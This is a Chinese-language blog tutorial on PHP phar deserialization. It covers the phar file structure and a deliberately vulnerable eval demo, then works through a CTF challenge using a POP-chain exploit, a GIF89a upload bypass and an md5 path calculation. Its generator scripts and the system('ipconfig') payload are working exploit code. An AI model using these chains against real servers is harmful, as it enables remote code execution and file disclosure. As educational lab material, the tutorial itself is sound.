美文网首页
phar 反序列化学习

phar 反序列化学习

作者: CSeroad | 来源:发表于2023-05-09 11:34 被阅读0次

前言

在复现CVE-2021-3129 时,用到了phar 反序列化,特地学习一下。

概念

phar (PHP Archive) 是PHP一种类似Java中jar的一种打包文件的方式,方便用于归档。
当PHP 版本>=5.3时,默认开启支持PHAR文件。
phar文件默认状态是只读,使用phar文件不需要任何的配置,而phar://伪协议即PHP归档,用来解析phar文件内容。

phar 文件

phar 文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的 meta-data。当受影响的文件操作函数调用了 phar 文件时,就会自动反序列化 meta-data 内的内容。

phar 文件结构

  • stub
    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,前面内容不限,否则phar扩展将无法识别。
  • manifest
    phar压缩文件的权限、属性等信息存放与此。这部分以序列化的形式存储用户自定义的meta-data,即反序列化漏洞点。
  • contents
    被压缩文件的内容。
  • signature
    签名,放在文件末尾,可为空。

phar 文件生成

先写一段代码,熟悉我们一下phar文件结构。

<?php
    class Test {
        var $name;
    }
    $phar = new Phar("phartest.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $o -> name = "cseroad";
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test111.txt", "test111"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

注:要将php.ini中的phar.readonly选项设置为Off,否则无法生成
我们使用xxd命令查看该phar文件。

image.png

可以看到前面是stub,接着是manifest,包含以序列化的形式存储用户自定义的meta-data信息即Test类对象,然后是contents被压缩的内容,包含文件名test111.txt,文件内容为test111。最后是signature 签名。

phar 反序列化

我们通过学习phar的文件结构,知道了manifest 以序列化的形式存储着用户自定义的meta-data。那么当文件操作函数通过phar://协议读取文件的时候,meta-data信息就会被反序列化;自然当meta-data内容可由用户控制,则会存在反序列化漏洞风险。

来源知道创宇

那以上面代码为例,我们写一个对应的反序列化。

<?php 
    
    class Test {
        var $name;
        function __destruct(){
            echo $this->name;
        }
    }

    $filename = 'phar://phartest.phar/test111.txt';
    //phar 协议读取phartest.phar里的test111.txt文件
    file_exists($filename);
    // 反序列化
?>
image.png

可以成功反序列化到Test对象里name属性值。
那现在我们写一个存在反序列漏洞的demo。

<?php
highlight_file(__FILE__);
error_reporting(0);
class Test{
    public $code;
    public function __destruct(){
        eval($this -> code);
    }
}
$filename = $_GET['filename'];
file_get_contents($filename);
?>

代码中没有出现unserialize函数,没有办法编写序列化的过程。但有文件操作的函数且参数可控。如果此时创建一个phar文件并且可以使用,在经过file_get_contents的时候,phar的manifest就会被反序列化,从而触发__destruct()魔术方法。

<?php

    class Test {
        var $code;
    }
    @unlink("phartest.phar");
    $phar = new Phar("phartest.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $o -> code = "phpinfo();";
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test123.txt", "test123"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>
image.png

那如果执行系统命令呢?只需要修改一下code赋值即可。

$o -> code = "system('ipconfig');";
image.png

综上:phar反序列化漏洞利用条件为:

  • phar文件要在服务器端
  • 要有可用的魔术方法
  • 存在文件操作的函数且参数可控

CTF 实例

SimplePHP 题目

image.png

打开题目查看文件,发现file参数,传入页面php文件名试试。发现可以读取源码。

image.png

查看function.php文件

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

一个上传的页面,并校验了后缀名,且传到upload目录下。
再查看class.php文件

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        
        $content = $this->str['str']->source;
        
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        
        $this->params = array();
    }
    public function __get($key)
    {
        //var_dump($key);
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

看到了熟悉的__toString魔术方法、__destruct魔术方法,在最底部还有file_get_contents的文件操作,那大概率就是考察phar反序列化了。
我们来分析一下代码。file_get()方法里面有file_get_contents()get()方法调用了file_get()方法,__get()方法又调用了get()方法。谁可以调用__get()```方法呢?Show类中的```__toString()```可以调用它,当访问不可访问或不存在的属性时触发__get()方法。那谁有可以触发__toString()方法呢?当把类当作字符串使用时会触发__toString()```方法。自然C1e4r类满足该条件。
尝试构造一下pop链。

<?php
class C1e4r {
    public $str;
}
class Show {
    public $str;
    public $source;
}

class Test {
     public $file;
     public $params = array('source' => '/var/www/html/index.php');
}

$C1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$C1e4r -> str = $show;
$show -> str['str'] = $test;
echo serialize($C1e4r);

?>
image.png

然后写入phar文件,并添加GIF89a

<?php

    class C1e4r {
        public $str;
    }
    class Show {
        public $str;
        public $source;
    }

    class Test {
         public $file;
         public $params = array('source' => '/var/www/html/index.php');
    }

    $C1e4r = new C1e4r();
    $show = new Show();
    $test = new Test();
    $C1e4r -> str = $show;
    $show -> str['str'] = $test;

    @unlink("phartest.phar");
    $phar = new Phar("phartest.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    
    $phar->setMetadata($C1e4r); //将自定义的meta-data存入manifest
    $phar->addFromString("test123.txt", "test123"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();

?>

将phartest.phar重命名jpg上传即可。但没有返回路径,查看function.php需要MD5计算一下。

$filename = md5("phartest.jpg10.244.80.227"); 
echo $filename;

然后利用phar://伪协议解析即可。

file.php?file=phar://upload/df66ed9e42093091f0ff79aee6971198.jpg
image.png

总结

如果实际中要用到phar但序列化,要求还是比较苛刻的:
1、phar文件要能上传到服务器端,并且要知道传上去的路径
2、存在文件操作的函数且参数可控
3、通过文件操作的函数要有合适的魔术方法,用来构造pop链

参考资料

http://www.mi1k7ea.com/2019/01/01/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.freebuf.com/articles/web/291992.html
http://arsenetang.com/2021/09/05/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87%E4%B9%8Bphar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

相关文章

网友评论

      本文标题:phar 反序列化学习

      本文链接:https://www.haomeiwen.com/subject/jzakjdtx.html